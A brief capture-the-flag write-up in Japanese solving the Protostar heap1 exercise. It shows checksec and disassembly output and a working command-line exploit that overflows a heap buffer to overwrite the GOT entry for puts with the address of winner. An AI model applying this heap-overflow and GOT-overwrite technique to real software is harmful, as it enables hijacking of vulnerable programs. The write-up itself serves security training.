Protostar Heap1

$ file heap1
heap1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.18, BuildID[sha1]=d8d9ab550fbb79da574639c8d3abdf96594cc21d, not stripped

$ checksec --file heap1
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   heap1

No RELROなのでgotへの書き込みが可能である。与えられたコードによると、

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");

と2回書き込みがあるので、1回目でoverflowによりi2->nameprintfのgotのアドレスを書き込み、2回目の書き込みはそのgotに目的の関数winnerのアドレスを書き込めばよい。 ただし、printf("and that's a wrap folks!\n");の呼び出しは最適化によりputs("and that's a wrap folks!");で置き換わっている1ので、putsのgotを使用する。

$ ./heap1 foo bar
and that's a wrap folks!

$ gdb heap1
...
# the malloc-ed addresses are 0x804a008, 0x804a018, 0x804a028 and 0x804a038

$ echo $[0x804a028+4 - 0x804a018]
20

$ objdump -d -M intel heap1 | grep -A 1 '<puts@plt>:'
080483cc <puts@plt>:
 80483cc:   ff 25 74 97 04 08       jmp    DWORD PTR ds:0x8049774

$ readelf -s heap1 | grep '\<winner\>'
    55: 08048494    37 FUNC    GLOBAL DEFAULT   14 winner

$ ./heap1 $(perl -e 'print "A"x20, "\x74\x97\x04\x08"') $(echo "\x94\x84\x04\x08")
and we have a winner @ 1453452850

  1. gccであればdefaultの-O0でも発生する最適化。-fno-builtinで抑制できる。